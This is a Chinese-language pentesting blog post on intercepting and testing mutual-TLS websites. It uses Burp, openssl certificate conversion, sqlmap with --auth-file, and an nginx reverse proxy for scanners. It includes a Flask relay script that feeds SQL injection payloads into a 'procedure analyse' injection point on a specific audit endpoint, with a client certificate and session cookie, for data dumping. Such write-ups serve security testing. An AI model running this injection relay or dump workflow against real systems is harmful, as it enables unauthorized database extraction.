https 双向校验场景下的抓包和测试
说明
本文主要解决两个问题:
1.https双向校验场景下burp的抓包
2.https双向校验场景下各种安全工具的使用
引子
最近在测试一个项目,目标网站需要用到p12 证书才能访问,由于以前几乎没怎么测试过双向校验的网站,所以在这里遇到了问题?Burp导入证书之后死活抓不到包,只好群里求助各位师傅,有位师傅给出了一篇参考文章,帮助很大,非常感谢。
本文主要记录总结这种场景下的burp抓包以及使用各种安全工具对双向校验网站的测试问题。
正文
I Burp 抓包
导入证书:
Burp导入证书有二个地方,一是代理配置的地方,二是options(User and Project) 设置,证书支持导入der和p12类型的证书
第一种: Proxy 功能选项配置
第二种:用户和工程选项
这是两种不同的证书作用也不一样,我前面之所以一直抓不到包就是因为证书类型没搞清楚证书导错了地方,用了第一种方法,这里应该用第二种方法,关于证书的使用其实现在也是懵懵的,证书的生成理解可以看看这篇文章
接下来就可以使用burp抓包测试了,咦有个注入?没看错就是SQL 注入
这下问题来了,对于双重校验的站点,SQLMAP 能跑数据吗?翻了翻帮助,答案当然是可以的。
--auth-file 参数用来设置证书,SQLMAP 只支持der pem,所以我们需要把p12格式的证书转换一下,可以用openssl 进行转换也可以用python 脚本
Openssl 命令:
openssl pkcs12 -clcerts -nokeys -out cert.pem -in cert.p12
openssl pkcs12 -nocerts -out key.pem cert.p12
cat cert.pem key.pem > crt.pem
Python code:
def p12_to_pem(certname, pwd):
pem_name = certname + ".pem"
f_pem = open(pem_name, 'wb')
p12file = certname + ".p12"
p12 = OpenSSL.crypto.load_pkcs12(open(p12file, 'rb').read(), pwd)
f_pem.write(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, p12.get_privatekey()))
f_pem.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, p12.get_certificate()))
ca = p12.get_ca_certificates()
if ca is not None:
for cert in ca:
f_pem.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, cert))
f_pem.close()
return pem_name
最后参数设置--auth-file = crt.pem 一把梭
接下来又发现一个注入点,但是SQLMAP跑不出来,现实场景下尤其是在有waf的情况下SQLMAP 经常很废柴,这下祭出我的SQL 利用工具,由于我的工具并不适用有双向验证的站点,废柴了,(lll¬ω¬)不着急,在绕waf的时候我们有时候会进行代理转发,拿出代码改改,good
from flask import Flask
from flask import request
import urlparse
import requests
from requests.adapters import HTTPAdapter
'''
SQLinject TOOLS
SQLEXP.py -u "http://127.0.0.1:5000/?payload=PACK" -p payload -D mysql -T user -C user --tech E --dump --dbms mysql --tamper limit_inject
'''
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0',
'Connection': 'close',
'Cookie':'JSESSIONID=059F554708D62FE52ABD22E02F892CB5'}
req = requests.session()
req.mount('http://', HTTPAdapter(max_retries=3))
req.mount('https://', HTTPAdapter(max_retries=3))
req.headers = headers
def q_str_to_dict(query_str): #input id=1&name=greent | output {'id':1,'name':'greent'}
return dict((k, v if len(v) > 1 else v[0]) for k, v in urlparse.parse_qs(query_str).iteritems())
#url = "http://192.168.153.128/?PACK"
url = 'https://1.1.1.1/Audit.do?action=searchAudit'
app = Flask(__name__)
def send(payload):
global url
payload = payload.replace('PACK','')
con_url = url
data = r'limitoffset=12,1000 procedure analyse(PACK,1)/**/ # &dateType=0&days=0&starttime=2020-10-27 17:10:11&endtime=2020-12-23 17:10:14&operation=&userid='
data=data.replace('PACK', payload)
post_data = q_str_to_dict(data)
print(post_data)
cert = 'audit.pem'
con = req.post(con_url,cert =cert,data= post_data,verify=False).content
print(con)
return con #
@app.route('/')
def index():
payload = request.args.get("payload")
return send(payload)
if __name__ == "__main__":
app.run()
limit_inject .py tamper
II Nginx 反向代理
秉着能自动就不手动的原则,当然就是懒了,对于这种项目xray神器当然要用起来啊,替换证书go run ,理想是美好的现实是残酷的,接受不到数据,突然想起来ca证书和ssl client区别,懒的翻说明文档了,得想一种比较通用的测试方案,不能每用一种工具就去研究它的证书加载姿势吧,在说也不是所有的工具都支持,既然前面我们用了转发代理来适用我们自己的工具,那这种方法当然是可行的,自己实现一个转发代理服务器也是可以的,只是稳定性就不敢保证了,其实这种场景都是比较普通常见的场景,业界也有比较好的工具和方案,遇到比较多的就是nginx做前置代理和负载均衡,完全符合我们的要求。以下就是nginx 反向代理转发实现的终级方案,闲话少说,直接放命令和配置
wget http://nginx.org/download/nginx-1.10.2.tar.gz
tar -zxvf nginx-1.10.2.tar.gz
cd nginx-1.10.2
useradd nginx
./configure --prefix=/usr/local/nginx --user=nginx --group=nginx --with-http_ssl_module
make &&make install
ln -s /usr/local/nginx/sbin/nginx /usr/sbin/
nginx 运行
nginx -s stop 停止
------------------------------------------------------------------------
------------------------------------------------------------------------
Nginx.conf
http {
include mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';
access_log logs/access.log main;
sendfile on;
tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
gzip on;
upstream fkcloud {
server 1.1.1.1:444;
}
server {
listen 443 ssl;
ssl_certificate /home/ssl/cert.pem; 服务端证书
ssl_certificate_key /home/ssl/cert.key;
server_name localhost;
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 5m;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
location / {
proxy_ssl_certificate /home/ssl/cert.pem; p12分离的客户端证书
proxy_ssl_certificate_key /home/ssl/cert.key;
proxy_pass_header Server;
proxy_set_header Host $http_host;
proxy_redirect off;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Scheme $scheme;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "Upgrade";
proxy_pass https://fkcloud;
}
}
}
为了能够抓到包我们还需要把我们的服务端证书cert.pem在本地导入,注意这里证书导入的地方和前面p12客户端证书导入的地方不同,这个证书可以用我们前面分离的客户端证书也可以使用自签证书,我这里就设置同一个吧。
这下我们就把需要进行双向校验场景下的测试变成常规的测试了
祭出 xray,cool